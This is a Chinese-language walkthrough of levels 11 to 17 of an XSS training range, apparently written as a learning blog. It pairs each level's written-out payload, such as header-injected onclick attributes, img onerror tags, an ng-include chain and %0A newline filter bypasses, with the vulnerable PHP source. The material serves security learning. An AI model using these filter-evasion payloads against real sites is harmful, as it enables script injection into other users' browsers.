删除level11关页面后,用目录页面访问level11关,回显结果为:

  • 分析得出,t_ref的值记录的是从个网址访问的
  • 可以推断出,后端将数据包中referer栏的地址拼接到value

*Referer

刷新页面,抓取数据包:修改数据包中的Referer,即可完成payload注入

修改为:

1
" onclick='alert("123")' type='text' //

页面渲染:

点击即可通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER']; //获取Referer
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22); //这里进行替换,可以选择插入属性
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>


level12

类型: url类型

与11关类似,不再过多演示

*HTTP_USER_AGENT

修改为:

1
2
3
4
5
6
" onclick='alert("123")' type='text' //  
上述语句失败-拼接value前双引号被实例化转义
继续修改:
" onclick=alert('123') type='text' //
成功绕过
细节:防止识别错误,除去alert两侧的单引号

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT']; //获取代理信息
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
//转义后再拼接
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>



level13

类型:隐藏标签

解题思路:

探测:

1
keyword=1&t_link=2&t_history=3&t_sort=4&t_cook=5

回显:

测试t_sort

1
&t_sort=" onclick='alert("123")' type='text' //

回显:

  • 双引号被实例化转义

其余测试payload也失败

抓取数据包修改cookie栏:

1
" onclick=alert('123') type='text' //

点击文本框成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"]; //获取cookie
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>



level14a

类型:

解题思路;

*PHP解析执行机制

PHP 解析机制:PHP 文件本质上是服务器端脚本文件,当服务器接收到对 PHP 文件的请求时,会先对其中的 PHP 代码进行解析和执行。 如果文件里有 HTML、CSS、JavaScript 代码,PHP 解析器会直接将这些非 PHP 代码原样输出给客户端。

输入:

1
<script>alert("123");</scritp>

script 别td 包含,无法执行js代码

输入:

1
2
<img src="x" onerror="alert('123')">      //页面加载触发
<img src="x" onmouseover="alert('123')"> //数标悬停触发

渲染:

通关成功

源码分析:


level14b

类型:文件上传

解题思路:

*EXIF

图片的 EXIF(Exchangeable Image File Format) 是嵌入在图片文件中的一组元数据(Metadata),记录了拍摄设备、拍摄参数、时间、地理位置等信息。它是数码照片的“数字身份证”,广泛应用于摄影、取证和图片管理
EXIF 包含的信息:

1.基础信息:

拍摄时间、日期
文件格式(如 JPEG、RAW)
文件大小和分辨率

2.设备参数

相机品牌和型号(如 Canon EOS 5D Mark IV)
镜头型号
序列号(部分设备)

3.拍摄参数

光圈值(F值)
快门速度
ISO 感光度
焦距(如 50mm)
白平衡模式
曝光补偿

4.地理位置

GPS 坐标(需设备开启定位功能)
海拔高度(部分设备支持)

4.其他信息

版权声明(作者信息)
缩略图预览
后期编辑软件(如 Photoshop 修改记录)

EXIF 的作用与用途
1.摄影学习
2.分析他人作品的拍摄参数(如光圈、快门),提升摄影技巧。
3.图片管理
4.按时间、设备分类整理照片。
5.版权保护
6.通过 EXIF 中的作者信息证明图片归属。
地理位置记录
7.旅行摄影时标记拍摄地点。
8.取证调查
9.验证图片真实性(如时间、设备是否匹配)。

问题与解决:
1.敏感信息泄露
GPS 坐标可能暴露家庭住址或常去地点。
2.清除 EXIF

分享图片前,使用工具删除 EXIF(如 Exif Purge)。

3.平台自动删除

微信、微博等社交平台上传图片时会默认清除 EXIF。

随便上传正常的照片:

展示了很多项信息,随便修改图片的某一项为xss攻击代码即可通关

有自动弹窗

level15

解题思路:

页面技术特征
1.AngularJS 框架:代码引入了 angular.min.js,说明页面依赖 AngularJS 动态渲染内容。
2.未实现的 ngInclude:注释 表明存在一个未完成的动态内容加载逻辑,可能需通过特定操作触发

*AngularJS与指令ng-inlcude

  1. ng - include指令特性

    ng - include是 Angular JS 框架中的指令,用于在 HTML 页面中动态包含外部文件或片段,通过浏览器的 XHR 请求加载外部文件(需确保文件在同一域名下可访问)。它与服务器端的文件包含(如 PHP)不同,是在浏览器端请求并加载文件内容,然后将其插入到当前页面指定位置。

攻击原理:

默认情况下的,ng-include 只能加载当前页面同源的(相同域名,协议,端口)的文件
ng - include加载level1.php时,将name=[script]alert(/xss/)[/script]作为参数传递给level1.php。
由于level1.php未对name参数做严格过滤,浏览器解析level1.php返回的 HTML 时,会执行恶意脚本alert(/xss/),从而触发 XSS 攻击。

关卡:

本关漏洞利用分析
1.当前关卡过滤:

传入的src参数会被htmlspecialchars()函数过滤,直接注入script等敏感标签会被转义,无法直接触发 XSS。

2.结合其他页面漏洞:

靶场中其他页面(如level1.php)存在 XSS 漏洞(假设name参数输入未过滤)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
利用ng - include的文件包含特性,构造 Payload:
src='level1.php?name=<script>alert("123");</script>' //不行
src='level1.php?name=<img src='x' onerror='alert("123")'>' //不行
src='level1.php?name=<img src=x onerror=alert('123')>' //不行
src="level1.php?name=<img src=x onerror=alert("123")>" //不行

src="level1.php?name=<img src='x' onerror=alert('123')>" //行
src="level1.php?name=<img src=x onerror=alert('123')>" //行
src='level1.php?name=<img src=x onerror=alert("123")>' //行

- 用img标签行
- onerror外不套单双引号,让浏览器容错,防止过多的单双引号让浏览器识别错误

为什么有些语句为什么不行呢?
因为语句要考虑的不仅仅是本关的过滤,也要考虑引用对应关卡的过滤

关键流程总结

ng - include通过浏览器请求加载level1.php,传递带有恶意脚本的参数。
存在漏洞的level1.php接收参数后,未过滤直接回显恶意脚本到页面。
浏览器解析执行恶意脚本,完成 XSS 攻击。

这种利用方式绕过了当前关卡的过滤,借助ng - include的特性和其他页面的 XSS 漏洞,实现了跨页面的脚本攻击。

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"]; //获取src的值
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'; //实例化转义-->因此本关的
?>

level16

解题思路:

类型:输入框类型

输入测试语句:

1
<script>alert("123")</script>

网页回显情况:

查看实例化情况:

此时的页面渲染:

补充知识:center标签

[center]标签的作用:将包裹的文本、图片或其他元素在父容器中水平居中显示。
HTML4 及更早版本支持 center,但 HTML5 已将其废弃。
被弃用的原因:
1.HTML 应专注于结构(如标题、段落),样式应交给 CSS 控制。
2.维护性和灵活性差:混合样式与结构,导致代码难以维护。
3.无法适应复杂布局(如响应式设计)。
重点:center 标签内嵌套 script 标签,其中的 JavaScript 代码仍会被浏览器执行

解读回显信息:

1
2
3
4
5
6
7
8
&lt; ->   <
&gt; -> >
&nbsp; -> 空格
&amp; -> &

&lt;&nbsp;&gt;alert("123");&lt;&nbsp;&nbsp;&gt; 即为:
< >alert("123");< >

  • 括号内的双引号没有实例化转义或被替换
  • 特殊符号 < > 空格 & 号被实例化转义
  • script标签缺失,准确来说被替换为空格

换标签:

1
<img src=x onerror=alert("123")> 

回显:

*换行符绕过

在 XSS 攻击中,换行符绕过过滤的核心原理是利用浏览器与过滤规则对换行符(\n%0A)的解析差异,使得恶意代码能够绕过安全检测,同时被浏览器正常执行。以下是详细解释和应用场景:

绕过原理:

  1. 浏览器与过滤规则对换行符的解析差异

    • 浏览器:在 HTML 中,标签属性之间的换行符通常会被视为普通空格,甚至在某些情况下被直接忽略。
      1
      2
      <img src=x
      onerror=alert(1)> <!-- 等同于 <img src=x onerror=alert(1)> -->
    • 过滤规则:可能未正确处理换行符,例如:
      • 仅检测连续的关键字(如 onerror),但换行符将关键字拆分为 on\nerror 时,绕过黑名单。
      • 过滤空格但未过滤换行符,导致换行符成为替代分隔符。
  2. 混淆代码结构
    通过换行符改变代码的视觉结构,使静态正则表达式或简单字符串匹配失效。例如:

    1
    <img src=x%0Aonerror=alert(1)>  <!-- %0A 是 URL 编码的换行符 -->

    应用场景:

  3. 绕过空格过滤

  • 场景:目标过滤了空格(如删除或转义为 &nbsp;),但允许换行符。
  • 利用方式:用换行符(%0A)替代空格分隔标签属性。
    1
    <img/src=x%0Aonerror=alert(1)>
    • 浏览器解析为 <img src=x onerror=alert(1)>
  1. 分割关键字

    • 场景:目标使用黑名单检测连续的关键字(如 onerror)。
    • 利用方式:插入换行符拆分关键字,使其无法被正则表达式匹配。
      1
      2
      <img src=x onerr
      or=alert(1)>
      • 浏览器会将换行后的内容合并为 onerror,但过滤规则可能因换行符失效。
  2. 绕过属性值闭合检测

    • 场景:目标检查属性值的闭合(如 "'),但未处理换行符。
    • 利用方式:在属性中插入换行符,构造未闭合的上下文:
      1
      <a href="javascri%0Apt:alert(1)">Click</a>
      • 浏览器可能忽略换行符,解析为 javascript:alert(1)

实际绕过示例:

示例 1:绕过空格过滤
假设目标过滤空格,但允许换行符:

1
<img/src=x%0Aonerror=alert(1)>
  • 浏览器解析<img src="x" onerror="alert(1)">
  • 绕过效果:成功触发 onerror 事件。

示例 2:分割敏感关键字
假设目标过滤 onerror 关键词:

1
2
3
<img src=x onerr
or=alert(1)>
<img src=x%0Aonerror=alert("123")>
  • 浏览器解析onerror 被合并,触发事件。
  • 过滤规则:可能因换行符无法检测到 onerror

由于script会被过滤,所以不使用
输入:

1
<img%0Asrc=x%0Aonerror=alert('123')>    不用双引号,因为被实例化转义

成功通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
//多个替换过滤 后端过滤了空格->&nbsp; 未过滤换行符
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>


level17

解题思路:

检查源码:

修改地址栏的b,源码也对应修改:

*趣事

将b修改为:

1
123 onclick=alert()
  • onclick 成一个属性

输入:

1
123 onmouseover=alert("123")

鼠标悬放即可通关

源码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
//变量获取之后,没有经过过滤就拼接
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>


服务器设置

开启php扩展设置php_exif –>图片读取功能